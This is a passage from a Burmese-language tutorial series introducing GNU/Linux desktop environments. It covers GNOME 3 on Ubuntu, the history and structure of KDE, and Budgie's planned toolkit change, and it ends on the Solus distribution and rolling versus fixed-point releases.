GNOME 3 ဟာ Ubuntu အတွက် ပိုမိုကောင်းမွန်တဲ့ ရွေးချယ်မှုတစ်ခုပါ။ Ubuntu 16.04 LTS မှာကတည်း GNOME 3 ကို အသုံးပြုလာတာ ပြဿနာ အကြီးကြီးမျိုး ဆိုတာ မရှိခဲ့ပါဘူး။ Ubuntu 16.04 LTS ရဲ့ Official Unity မှာတော့ ပြဿနာ အနည်းအကျဉ်း ရှိတာကိုတော့ သတိထားမိပါတယ်။ အဲ့ဒါကြောင့် GNOME 3 ဟာ Ubuntu အတွက် မှန်ကန်တဲ့ ရွေးချယ်မှု တစ်ခုလို့ စာရေးသူ မြင်မိပါတယ်။ Ubuntu ရဲ့ နောက် LTS မှာတော့ GNOME 3 ကို Canonical က Ubuntu အတွက် သီးသန့် customize ပြန်လုပ်ပြီးတော့ လက်ရှိထက်ကောင်းအောင် လုပ်မယ်လို့ စာရေးသူ ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c3c857721f79a3a491b30dfee5946b17f14e51a8%2FGNOME-3-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ post မှာတော့ Desktop Environment ကို အကျဉ်းချုပ် မိတ်ဆက် ပေးပြီး GNOME နဲ့ အစပျိုးလိုက်ပါတယ်။ နောက်တစ်ပိုင်းမှာတော့ KDE နဲ့ Budgie ဆိုတဲ့ Desktop နှစ်ခုကို ဆက်လက် မိတ်ဆက်ပေးသွားပါ့မယ်။ GNOME ကိုတော့ ဒီမှာပဲ အဆုံးသတ်လိုက်ပါတော့မယ်။


# GNU/Linux Desktop Environment များအကြောင်း အပိုင်း (၂)

ဒီအပိုင်းမှာ KDE အကြောင်းကို အနည်းငယ် ဆွေးနွေးလိုပါတယ်။ KDE အကြောင်းလေးမစခင်မှာ ကိုယ်ကြိုက်တဲ့ Desktop Environmen ေတွကို နဂိုအတိုင်းပါလာတဲ့ Official DE ေပါ်မှာ install လုပ်လို့ရလားဆိုတဲ့ မေးခွန်းပါ။ ဆိုကြပါစို့ ကိုယ်က Ubuntu 16.04 LTS ကို Official Unity 7 ပါလာတဲ့ edition ကို install လုပ်ထားတယ်။ ဒါပေမယ့် ကိုယ်က Unity ကို မကြိုက်ဘူး ဆိုပါတော့။ အစကနေ ပြီး install မလုပ်ချင်ပဲ GNOME 3 ကို ပြောင်းသုံးချင်တယ်ဆိုရင် GNOME 3 ကို ကိုယ်လက်ရှိ သုံးနေတဲ့ စက်ပေါ်မှာ အပေါ်ကနေထပ်လောင်း install လုပ်ချင်တယ် ဆိုပါတော့။ ရပါတယ်။ Install လုပ်လို့ရပါတယ်။ အဲ့ဒါဆိုရင် Unity 7 နဲ့ GNOME 3 နှစ်ခုထဲက တစ်ခုကို login လုပ်တဲ့အခါမှာ ရွေးပြီးတော့ login လုပ်လို့ရပါတယ်။ ပြဿနာက တခါတခါ ကိုယ်အသစ် တင်လိုက်တဲ့ DE က Official လာတဲ့ program bundle နဲ့ အဆင်မပြေတာမျိုးတွေ ဖြစ်တတ်ပါတယ်။ Troubleshoot လုပ်ပြီးတော့ ပြင်သုံးရင်တော့လည်း အဆင်ပြေနိုင်သလို… တခါတခါကြရင်တော်တော်လေး ကို မလိုအပ်ပဲနဲ့ စိတ်ရှုပ်ရပါတယ်။ စာရေးသူ အနေနဲ့ အဲ့ဒါကြောင့် အဲ့လို အပေါ်က DE ကို install လုပ်ပြီးသုံးတာကို အားမပေးပါဘူး။ GNOME 3 ကို ကြိုက်ရင် Ubuntu GNOME Official ကိုသာ clean install လုပ်သင့်ပါတယ်။ Data တွေကို backup လုပ်ရတာ restore လုပ်ရတာ အချိန်ကုန်ပေးမယ့်… အပေါ်က DE ကို install လုပ်လို့ အဆင်မပြေရင် မလိုအပ်ပဲနဲ့ အချိန်ကုန်နိုင်ပါတယ်။ တစ်ခုရှိတာက ကိုယ်ကြိုက်တဲ့ distro မှာ တခါတခါ ကိုယ်ကြိုက်တဲ့ DE က official အနေနဲ့ မရှိတာမျိုးတော့လည်း ရှိနိုင်ပါတယ်။ အဲ့လိုအခါမျိုးမှာ များသောအားဖြင့်တော့ community က maintain လုပ်ထားတဲ့ DE တွေကိုရှာ ပြီးတော့ download လုပ်လို့တော့ရပါတယ်။ Official DE လောက်တော့လည်း အဆင်ပြေချင်မှ ပြေပါလိမ့်မယ်။ တက်နိုင်ရင်တော့ Official DE ထဲက မတူတဲ့ flavour နဲ့ လာတဲ့ DE အမျိုးအစားကိုသာ သုံးသင့်ပါတယ်။ များသောအားဖြင့်တော့ Official DE ေတာ်တော်များများကို distro တိုင်းလိုလိုမှာ ရွေးစရာ အမြဲရှိ နေတတ်ပါတယ်။အရှေ့မှာတုန်းက မရှင်းလိုက်ရလို့ ဒီတစ်ခုမှာ နည်းနည်းလေး ဆွေးနွေးတဲ့ သဘောပါ။ ဒီတစ်ခုမှာတော့ KDE အကြောင်းကို ဆွေးနွေးသွားပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-07f91420e3a7e0985b1ab33cccfd73c153ab4d0a%2Fdesktop-environments.png?alt=media" alt=""><figcaption></figcaption></figure>

## KDE

KDE ကလည်း လူကြိုက်များ လူသုံးများတဲ့ DE ဖြစ်တဲ့အပြင် GNOME ထက်တောင် စောထွက်တဲ့ DE တစ်ခုပါ။ ၁၉၉၆ ခုနှစ်လောက်မှာ Matthias Ettrich ဆိုတဲ့ ဂျာမနီ နိုင်ငံက ကျောင်းသား တစ်ယောက်ကစတင်လိုက်တာပါ။ သူက Unix မှာ desktop experience ကို တော်တော်လေး မကြိုက်ပုံရပါတယ်။ နည်းပညာလောက အစပိုင်းဖြစ်တဲ့ ၁၉၉၀ ခုနှစ်များမှာ geek တွေအများကြီး ထွက်လာခဲ့ပုံရပါတယ်။ အဲ့ဒီတုန်း ရှိပြီးသား နည်းပညာ တွေကို မကြိုက်တာနဲ့ အစကနေ ပြန်ပြီးရေးလိုက်မယ် ဆိုတာမျိုးက ပုံမှန် geek တွေရဲ့ ထူးခြားတဲ့ အရည်အသွေး တမျိုးလို့ဆိုရပါလိမ့်မယ်။ သူက Unix ဟာဒီထက်ကောင်းတဲ့ desktop experience ပေးသင့်တယ်ဆိုပြီး KDE ကိုစခဲ့တာပါ။ K ကတော့ Kool (အင်္ဂလိပ် စာလုံး cool) ကိုရွည်ညွန်းပြီးတော့ DE ကတော့ Desktop Environment ပါ။ ဆိုလိုရင်းအတိုင်း အစပိုင်းမှာ DE တစ်ခုကို တည်ဆောက်ဖို့ ရည်ရွယ်ခဲ့ပေမယ့် KDE ဟာ အခုနောက်ပိုင်းမှာ community သို့မဟုတ် project တစ်ခုအနေနဲ့သာ ရည်ညွန်းပါတယ်။ ဇူလိုင်လ ၁၂ ရက်နေ့ ၁၉၉၈ခုနှစ်မှာတော့ ပထမဆုံး KDE 1.0 ကို စတင်မိတ်ဆက်ပေးပါတယ်။ KDE ကိုတော့ Qt application framework နဲ့ တည်ဆောက်ထားတာဖြစ်ပြီး အဲ့ဒီ အချိန်က Qt ဟာ proprietary ဖြစ်တဲ့အတွက် Free and Open Source အတွက် သိပ်မကိုက်ဘူးလို့ဆိုရမှာ ဖြစ်ပါတယ်။ ဇွန်လ ၁၉၉၉ ခုနှစ် လောက်မှာတော့ Qt widget toolkit version 2 ဟာ QPL ဆိုတဲ့ open source license အောက်မှာ မှတ်ပုံပြန်တင်လိုက်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e786ca5c03d6dc162c41f4bd0be731c92d8705fc%2FMatthias-Ettrich.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1685cda295dbe89716c84743b023ca8edfaf3d6a%2FKDE-1-768x576.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နိုဝင်ဘာလ ၂၄ရက်နေ့ ၂၀၀၉ခုနှစ်မှာတော့ KDE ကို DE တစ်ခုတည်းအတွက် မဟုတ်ပဲ ဒီထက်ကျယ်ပြန့်တဲ့ project တစ်ခုဖြစ်အောင်လို့ KDE project ရဲ့ workflow နဲ့ scope ကို အသစ် ပြန်လည် သတ်မှတ်လိုက်ကြပါတယ်။ Qt 4 ကနေ Qt 5 ကို ပြောင်းတဲ့ အခါမှာ ဒီဟာ ပြန်ပြောင်းသတ်မှတ်လိုက်တာလည်း ဖြစ်ပါတယ်။ ပါဝင်တဲ့ အပိုင်းတွေကတော့ KDE Plasma၊ KDE Frameworks နဲ့ KDE Applications ဆိုပြီးတော့ သုံးပိုင်းခွဲ လိုက်ပါတယ်။ Qt 4 မှာတော့ KDE SC4 (KDE Software Compilation 4) ဆိုပြီးတော့ ခေါ်ပါတယ်။ အဲ့ဒီတုန်းကတော့ Plasma Workspaces၊ KDE Applications နဲ့ KDE Platform လို့ခေါ်ခဲ့ပါတယ်။ Qt5 ကနေစလို့ အောက်မှာ ဖော်ပြထားတဲ့ အတိုင်းသာ သတ်မှတ်လိုက်ပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-915808bcc76aef6178be95a94cea9530a85e10fd%2FKDE-Plasma-5-768x426.png?alt=media" alt=""><figcaption></figcaption></figure>

* KDE Plasma ကတော့ အဓိကအားဖြင့် unified environment တစ်ခုဖြစ်လာဖို့ အတွက် နဲ့ maintain လုပ်ဖို့ အတွက် အားစိုက်ထုတ်ရပါတယ်။ Plasma ရဲ့ ထုတ်ကုန်တွေကတော့ desktop မှာသုံးဖို့အတွက် Plasma Desktop၊ netbook တွေမှာ သုံးဖို့အတွက် Plasma Netbook၊ TV နဲ့ set-top box တွေမှာသုံးဖို့ Plasma Media Center၊ tablets မှာသုံးဖို့ Plasma Active အပြင် smartphone ေတွ သယ်ဆောင်ရလွယ်ကူတဲ့ touch device တွေမှာ သုံးဖို့ Plasma Mobile ဆိုပြီးတော့ workspaces တွေကို ထပ်မံ အသေးစိတ်ခွဲထားပြန်ပါတယ်။ ဒီလောက်ဆို Plasma ရဲ့ ဦးတည်ရာကို ရိပ်စားမိမယ်ထင်ပါတယ်။ Desktop တစ်ခုတည်း အတွက် မဟုတ်ပဲ media နဲ့ mobile device တွေအတွက်ပါ အာရုံထား ပြီးတော့ သွားနေတဲ့ project တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-cd21af1d5530d899ddd839db8fd467bd5b7a217d%2FPlasma-5.6-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

* KDE Frameworks ဟာ KDE platform မှာ KDE application တွေ run ဖို့အတွက် လိုအပ်တဲ့ libraries တွေနဲ့ services တွေကို စုစည်းပေးထားတာဖြစ်ပါတယ်။ Qt5 ကို ရောက်တော့ KDE frameworks ရဲ့ ချဥ်းကပ်ပုံဟာ ပိုပြီးတော့ modular ဖြစ်လာပါတယ်။ ဆိုလိုချင်တာက KDE ဟာ အခြေခံ အုတ်မြစ်မှာ C++ နဲ့ တည်ဆောက်ထားသော်လည်း Qt5 ရောက်လာတဲ့ အချိန်မှာတော့ တခြား programming language တွေနဲ့ တွဲပြီးတော့ အလုပ်လုပ်နေပါပြီ။ Binding နဲ့ Integration ပိုင်းမှာ ပိုပြီးကောင်းလာတဲ့အတွက် developer တွေအနေနဲ့ ရွေးချယ်စရာများလာပြီး တိုးတက်မှု အဟုန်ကလည်း ပိုမိုမြန်ဆန်လာပါတယ်။ ဥပမာ Python၊ Ruby၊ C# နဲ့ Perl တို့လို နောက်ပိုင်းမှာ အသုံးများလာတဲ့ language တွေနဲ့ တွင်တွင်ကျယ်ကျယ် binding လုပ်လို့ developer တွေအတွက် အလုပ် ပိုဖြစ်လာတယ်လို့ ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e19db87bcc4f6964cac80a802b0a8dc15ab8e5fd%2FKonqi-Mascot-Frameworks.png?alt=media" alt=""><figcaption></figcaption></figure>

* KDE Applications ဆိုတာကတော့ KDE Frameworks ကိုသုံးပြီးတော့ KDE မှာသုံးဖို့အတွက် application ကိုရည်ညွန်းခြင်းဖြစ်ပါတယ်။ ဥပမာ KDE အတွက် သီးသန့်ရေးထားတဲ့ application တွေဖြစ်တဲ့ KTorrent, Kexi နဲ့ KDE Partition Manager တို့လို KDE Frameworks ေပါ်မှာရေးထား နာမည်ကြီးတဲ့ application ဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b19bd08810151d4f53fe98df4b8a9f664814cc2b%2FKtorrent4.3.1-768x463.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8f03af7360a26c11b9c6670a72641ae2fbceafe4%2FKexi_2.2_main_window-768x509.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-22488e98ae233312d0f109815f68d0d9ea85ff2f%2FKDE-Partition-Manager.jpg?alt=media" alt=""><figcaption></figcaption></figure>

KDE ကို စာရေးသူအနေနဲ့ သဘောသိပ်မတွေ့ပါဘူး။ Graphic ပိုင်းမှာအမြဲတမ်း အရှေ့ရောက်နေပေမယ့် Desktop Environment တစ်ခုအနေနဲ့ GNOME လောက် မကျစ်လစ်ဘူးလို့ ထင်မိပါတယ်။ Feature တွေတော့ အများကြီးပါလာတတ်ပါတယ်။ KDE ဟာ DE တစ်ခုတည်းကို အားစိုက်တာမဟုတ်တဲ့ အတွက် သူ့ Desktop Experience ဟာ နည်းနည်းလေး တော့ ပွစာကြဲနေတတ်ပါတယ်။ စာရေးသူ မကြိုက်တတ်လို့လည်း ဖြစ်နိုင်ပါတယ်။ သို့သော် KDE ဟာ open source community အတွက်အများကြီး contribute လုပ်တဲ့ အပြင် လက်ရှိအချိန်ထိ အရှိန်ကောင်းနေသေးတဲ့ project တစ်ခုဖြစ်ပါတယ်။ Distro တော်တော်များများမှာ KDE flavour က official အနေနဲ့ ရှိနေတတ်ပါတယ်။ KDE အကြောင်းကို ဒီမှာပဲရပ်လိုက်ပါ့မယ်။ နောက်တစ်ပိုင်းမှာတော့ Budgie ဆိုတဲ့ Desktop Environment အကြောင်းကို ဆက်ပြီး မိတ်ဆက်ပေးချင်ပါတယ်။


# GNU/Linux Desktop Environment များအကြောင်း အပိုင်း (၃)

ဒီတပိုင်းမှာတော့ အခုနောက်ပိုင်းမှာ နာမည်ရလာတဲ့ Budgie ဆိုတဲ့ Desktop Environment တစ်ခုအကြောင်းကို လေ့လာလို့ရအောင် ဆွေးနွေးတင်ပြလိုပါတယ်။ Budgie ကိုတော့ GNU/Linux ရဲ့ distribution တစ်ခုဖြစ်တဲ့ Evolve OS အတွကိ အစကနေ ပြန်ပြီးတော့ ရေးထားတဲ့ DE တစ်ခုဖြစ်ပါတယ်။ GNOME ရဲ့ GTK+ ကို အသုံးပြုထားတာဖြစ်ပြီးတော့ GNOME မှာရှိတဲ့ feature တွေ၊ application တွေတော်တော်မျာများကိုလည်း Budgie ပေါ်မှာတွေ့ရမှာ ဖြစ်ပါတယ်။ အစကတည်း ရည်ရွယ်ချက်က Evolve OS မှာ အသုံးပြုလို့ရအောင် မြန်ဆန်ပြီးတော့ လှပတဲ့ DE တစ်ခုကိုက အစအဆုံးပြန်လည် တည်ဆောက်ဖို့အတွက် စတင်ခဲ့ project တစ်ခုပါ။ အမြင်အရ ဆန်းပြီး တခြား DE တွေနဲ့ မတူတဲ့ DE အမျိုးအစားဖြစ်ပါတယ်။ နောက်ပိုင်းမှာ Evolve OS ကနေပြီးတော့ Solus ဆိုတဲ့ OS နာမည်ပြောင်းပြီးတဲ့ အခါမှာတော့ project ရဲ့ တိုးတက်နှုန်းကလည်း မြန်ဆန်လာခဲ့ပါတယ်။ Budgie ဟာ GNOME ကို fork လုပ်ထားတဲ့ DE တစ်ခုမဟုတ်ပါဘူး။ GNOME နဲ့ integrate လုပ်ထားတယ်လို့ သုံးနှုန်းပါတယ်။ ဆိုလိုရင်းကတော့ အစကနေပြန်ရေးထားတယ်ဆိုပေမယ့်လည်း MATE တို့ Cinnamon တို့လို GNOME ကို fork လုပ်ပြီးတော့ ကိုယ်ပိုင် ရပ်တည်နိုင်စွမ်းတော့ မရှိပါဘူး။ GNOME မှာ အသစ်တခုပြောင်းတိုင်းလိုက်ပြီးတော့ ပြင်ဆင်ရတဲ့ အပိုင်းတွေအများကြီးရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2201b85f2292f6b65322665a1d3bc0b1ecd6d17a%2FBudgie-11-DE.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Budgie ရဲ့ lead developer ဖြစ်တဲ့ Ikey Doherty ကတော့ အခုချိန်ထိ Budgie ဆက်လက်ရပ်တည်နိုင်ဖို့ ကို အများကြီး အချိန်ယူပြီးတော့ ကြိုးစားထားရတယ်လို့ဆိုပါတယ်။ ဒါတင်မကပဲ GNOME shell လို အယောင်ဆောင်လုပ်ထားရပြီး တစ်ခုခုကို ပိုမိုကောင်းမွန်အောင် လုပ်ဆောင်ရတဲ့အခါ အကျိုးအပဲ့ များတယ်လို့လည်းဆိုပါတယ်။ Ikey Doherty ကိုယ်တိုင်က GNOME နဲ့ GTK+ အစွမ်းကို အမြတ်တနိုးတန်ဖိုး ထား သော်လည်း အချိန်ကြာလာတာနဲ့ အမျှ အသုံးပြုတဲ့ Toolkit ကို ပြောင်းသုံးဖို့ ကို စဉ်းစားလာပါတော့တယ်။ Version 11 ကနေစပြီးတော့ Budgie ကို GTK+ အစား Qt ပြောင်းသုံးဖို့ရှိပါတယ်။ developer တွေရဲ့ အဆိုအရတော့ GTK+ မှာတစ်ခုခု အပြောင်းအလဲလုပ်လိုက်ရင် Budgie မှာလည်း အများကြီးလိုက်ပြောင်းရ ပြင်ဆင်ရ တာတွေရှိတယ်လို့ ဆိုပါတယ်။ တခါတခါ အစကနေပြန်ပြီးလုပ်ရတာတွေတောင် ရှိတယ်လို့ဆိုပါတယ်။ Project စကတည်းက GTK+ စပြီးအသုံးပြုလာခဲ့သော်လည်း Budgie developer တွေဟာ အခုအချိန်မှာ Qt Frameworks ပေါ်မှာ ပြောင်းရေးလိုက်ရင် လက်ရှိရင်ဆိုင်နေရတဲ့ အခက်အခဲတွေကို ကျော်လွှားနိုင်လိမ့်မယ်လို့ ဆိုပါတယ်။ Qt ကို သုံးပြီးတော့ ပြင်ရေးမှာဖြစ်တဲ့အတွက် KDE တစ်ပုံတည်းထွက်လာနိုင်တယ်လို့လည်း တချို့က ဆိုပါတယ်။ အများစု မျှော်လင့်ကြတာကတော့ Budgie ဟာ DE တစ်ခုကို အစအဆုံးရေးတဲ့ နေရာမှာ နာမည်ရထားတဲ့ project တစ်ခုဖြစ်တဲ့အတွက် အခုတခါလည်း တခြား DE တွေနဲ့ မတူတဲ့ DE တစ်ခုကို Qt နဲ့ တခါပြန်လည် တည်ဆောက်နိုင်မယ်လို့ ထင်ကြေးပေးထားကြပါတယ်။ လူတော်တော်များများကတော့ Budgie ကို အဆင်ပြေတဲ့ DE တစ်ခုအနေနနဲ့ သတ်မှတ်ထားပြီးသားပါ။ သို့သော် solid ဖြစ်တဲ့ OS တစ်ခုရဖို့ကို ကြိုးပမ်းကြတဲ့ Budgie ရဲ့ developer တွေမှာတော့ backend မှာ ပြဿနာ တွေရှိလို့ Qt ကိုပြောင်းလဲပြီး အသုံးပြုကြရတာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c3a4eaa145267293bedbd11be9c9fa9f987d259a%2FIkey-Doherty.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

ပထမဆုံး Ikey Doherty အနေနဲ့ စဉ်းစားမိတာက GNOME ကနေပြီး MATE တို့ Cinnamon တို့လို fork လုပ်ဖို့ပါပဲ။ အဲ့ဒါက ပြောသလောက်လွယ်ပေမယ့် လက်တွေ့မှာ Budgie မှာရှိပြီးသား ကောင်းမွန်အောင် နှစ်ပေါင်းများစွာ အချိန်ကုန်ခံ လုပ်ထား ပြင်ထားတဲ့ အရာတွေအားလုံးကို အကုန်ပြန်ပြီးတော့ ဖြုတ်ပြီးတော့ ထားခဲ့ရမှာဖြစ်တဲ့အတွက် Ikey Doherty တစ်ယောက်ချက်ချင်းဆိုသလို လက်လျော့လိုက်ရပါတယ်။ ရှိပြီးသား Budgie 10 အထိကနေပဲ ဆက်ပြီးတော့ ပြင်ဆင်သွားချင်ပုံရပါတယ်။ ဒုတိယ အနေနဲ့ Enlightenment DE မှာသုံးတဲ့ Enlightenment Foundation Libraries (EFL) ကို အာရုံရပြန်ပါတယ်။ EFL ကတော့ graphic နဲ့ animation တွေကိုတည်ဆောက်တဲ့ နေရာမှာ အစွမ်းထက်တဲ့ toolkit ဖြစ်ပါတယ်။ သို့သော် လက်ရှိ Budgie ရဲ့ ရှိရင်းစွဲ DE ပုံစံထဲကနေ အများကြီး ပြန်ပြီးခွဲထွက်ရမှာဖြစ်တဲ့အတွက် လက်တွေ့မှာ မလွယ်ကူလှပါဘူး။ နောက်ဆုံးအနေနဲ့ Qt ကို စဉ်းစားရပါတော့တယ်။ Qt ဟာ KDE မှာ နာမည်ရပြီးသား ဖြစ်တဲ့ toolkit သာမက toolkit ထက်ပိုတဲ့ လုပ်ဆောင်မှုတွေကို ပေးနိုင်တဲ့ platform တစ်ခုပါ။ Qt ကို C++ နဲ့ ရေးထားတာဖြစ်လို့ အစွမ်းထက်တဲ့နေရာမှာတော့ ယုံမှားသံသယ မရှိပါဘူး။ သို့သော် Ikey Doherty ကတော့ C++ ထက်စရာရင် C ကို ပိုပြီးတော့ အားသာပုံရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d42cf0caa4c05063adcbf55ed6b06d315a6bd44e%2FUbuntu-16.04-Budgie-Remix-.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီနေရာမှာ Solus ဆိုတဲ့ GNU/Linux distribution လေးအကြောင်းကို အနည်းငယ်တင်ပြလိုပါတယ်။ ဘာလို့လဲဆိုတော့ Budgie ဟာ Solus ပေါ်မှာ သုံးဖို့ ရည်ရွယ်တည်ဆောက်ထားတာဖြစ်တဲ့အတွက် Solus ဟာ ဘာလဲ ဘယ်ကို သွားနေလဲဆိုတဲ့ direction ကိုလည်း အနည်းငယ် ရိပ်စားမိအောင်လို့ဖြစ်ပါတယ်။ Solus ကိုတော့ ၂၀၁၁ ခုနှစ်မှာ SolusOS ဆိုတဲ့ နာမည်နဲ့ စတင်မိတ်ဆက်ပေးလိုက်တာဖြစ်ပါတယ်။ Ubuntu လို Debian ကို အခြေခံထားတဲ့ distro တစ်ခုအနေနဲ့ထွက်ခဲ့ပါတယ်။ ၂၀၁၂ခုနှစ် ကြမှ SolusOS 1.0 ကို official မိတ်ဆက်ပေးပါတယ်။ တခြား distro တွေမှာလိုပဲ fixed point release အနေနဲ့ version ကို update လုပ်ပါတယ်။ သို့သော်လည်း ပြင်ဆင်စရာများလှတာ ကြောင့် နောက်ပိုင်းမှာတော့ rolling release အနေနဲ့ သာလာပါတော့တယ်။ fixed point release နဲ့ rolling release မှာ ဘာကွာခြားသလဲလို့ဆိုရင်တော့ fixed point release မှာက ပြင်ဆင်စရာရှိပြီဆိုရင် point တွေကို number တွေနဲ့ ဖော်ပြသွားပါတယ်။ ဆိုပါတော့ Ubuntu မှာဆို တစ်နှစ်ကို ၂ ခါ fixed point release ရှိပါတယ်။ ၄ လပိုင်းမှာ ထုတ်တဲ့ release ကို 17.04 နဲ့ ၁၀ လပိုင်းမှာ ထုတ်တဲ့ release ကို 17.10 ဆိုပြီးတော့ fixed point release ရှိပါတယ်။ rolling release မှာကတော့ point နဲ့ မသွားတော့ပဲ ထုတ်လိုက်တဲ့ နေ့ရက်ကိုသာ release မှာဖော်ပြပေးပါတယ်။ အားနည်းချက် အားသာချက်ကတော့ နှစ်ခုလုံးမှာရှိပါတယ်။ fixed point release မှာက သက်တမ်းကုန်သွားတာမျိုးရှိတတ်ပါတယ်။ ဥပမာ Ubuntu 14.04 LTS မှာ End of Life ဆိုတာရှိပါတယ်။ အဲ့ဒီ end of life ကို ရောက်တဲ့ အခါမှာ support မရတော့ဘူး update မရတော့ဘူးပေါ့။ ဆက်သုံးချင်ရင်တော့လည်း သုံးလို့ ရပါတယ်။ ဒီထက်ကောင်းတဲ့ ဥပမာကတော့ Microsoft ရဲ့ Windows XP ပါ။ သူကလည်း fixed point release ပါ။ Windows 10 မှာတော့ rolling release ပုံစံမျိုး လုပ်သွားမယ်လို့ ထင်ပါတယ်။ အဲ့ဒါ ကြောင့် လည်း Microsoft conference တစ်ခုမှာ တစ်ယောက်က ပြောတာကို သွားသတိရပါတယ်။ ဘာလဲဆိုတော့ Windows 10 ဟာ Microsoft ရဲ့ နောက်ဆုံး Windows OS ပါတဲ့။ ပြောချင်တာက ထပ်ပြီးတော့ Windows OS မထုတ်တော့ဘူးလို့ ပြောချင်တာမျိုးမဟုတ်ပဲနဲ့ Windows 10 ကကောင်းလွန်လို့ သူ့အပေါ်မှာပဲ rolling release လုပ်သွားမယ်လို့ ဆိုလိုချင်တာလည်း ဖြစ်နိုင်ပါတယ်။ Microsoft မှာတော့ အခေါ်အဝေါ် နည်းနည်းကွဲပြားနိုင်တာမို့ rolling release ရယ်လို့တော့ သုံးလေ့မရှိပါဘူး။ ထိုနည်းတူ Solus ဟာတော့ အခုနောက်ပိုင်းမှာ rolling release အနေနဲ့သာ ထုတ်ပြီးတော့ သူ့ရဲ့ ဆောင်ပုဒ် ကတော့ “Install Today. Updates Forever.” ဖြစ်ပါတယ်။ rolling release ရဲ့ ကောင်းကွက်ကအဲ့ဒါပါပဲ end of life မရှိတဲ့အတွက် ၅နှစ်တခါ ၁၀ နှစ်တခါ LTS ကိုပြန်ပြီးတော့ install လုပ်စရာမလိုပါဘူး။ တခါ install လုပ်ပြီးတာနဲ့ update လုပ်ပြီးတော့ အသုံးပြုရုံပါပဲ။ နောက်ပြီးတော့ rolling release ဟာ Arch Linux လိုမျိုး direction တစ်ခုထဲကို သွားနေလို့ GNU/Linux အသုံးပြုသူတွေအနေနဲ့ ပိုပြီးတော့ သဘောတွေ့နိုင်ပါတယ်။ Cutting Edge technology တွေကို rolling release မှာပိုပြီးတော့ တွေ့ရတတ်ပါတယ်။ rolling release မှာတော့ တခါတခါ unstable မဖြစ်တာမျိုးတွေတော့လည်းရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-89321d0336b0676c329489498f6897bbc8035c4d%2FPoint-Release.png?alt=media" alt=""><figcaption></figcaption></figure>

လိုရင်းဖြစ်တဲ့ Solus အကြောင်းနည်းနည်း ပြန်သွားလိုက်ရအောင်။ SolusOS ဟာ အရှေ့မှာပြောခဲ့သလို GNOME ကို fork လုပ်ထားတာ မဟုတ်ပဲနဲ့ integrate လုပ်ထားတာဖြစ်တဲ့ အတွက် GNOME လိုလိုထင်ယောင်ထင်မှား ဖြစ်စရာရှိပါတယ်။ SolusOS 2 မှာ GNOME 3.10 ကို default အနေနဲ့ အသုံးပြုမယ်လို့တောင် စီစဉ်ထားရာကနေပြီးတော့ အကြောင်းအမျိုးမျိုးကြောင့် SolusOS ဟာ ၂၀၁၃ ခုနှစ်တွင်းမှာ အဆုံးသတ်လိုက်သလို ဖြစ်သွားပါတော့တယ်။ တဖန် ၂၀၁၄ ခုနှစ်မှာတခါ Evolve OS ဆိုတဲ့နာမည်နဲ့ ပြန်လည် အသက်ဝင်လာပြီးတော့မှ Solus ဆိုတဲ့ နာမည်ကို ပြန်ပြီးတော့ ပြောင်းလိုက်ကြပါတယ်။ Solus 1.2.1 အထိကို fixed point release နဲ့ ထုတ်ခဲ့ရာကနေပြီးတော့ အဲ့ဒီနောက်ပိုင်းမှာ rolling release နဲ့သာထုတ်လာခဲ့တာ ဇန်နဝါရီလ ၁ရက်နေ့ ၂၀၁၇ ခုနှစ်မှာထွက်တဲ့ Solus 2017.01.01.0 နဲ့ ဧပြီလ 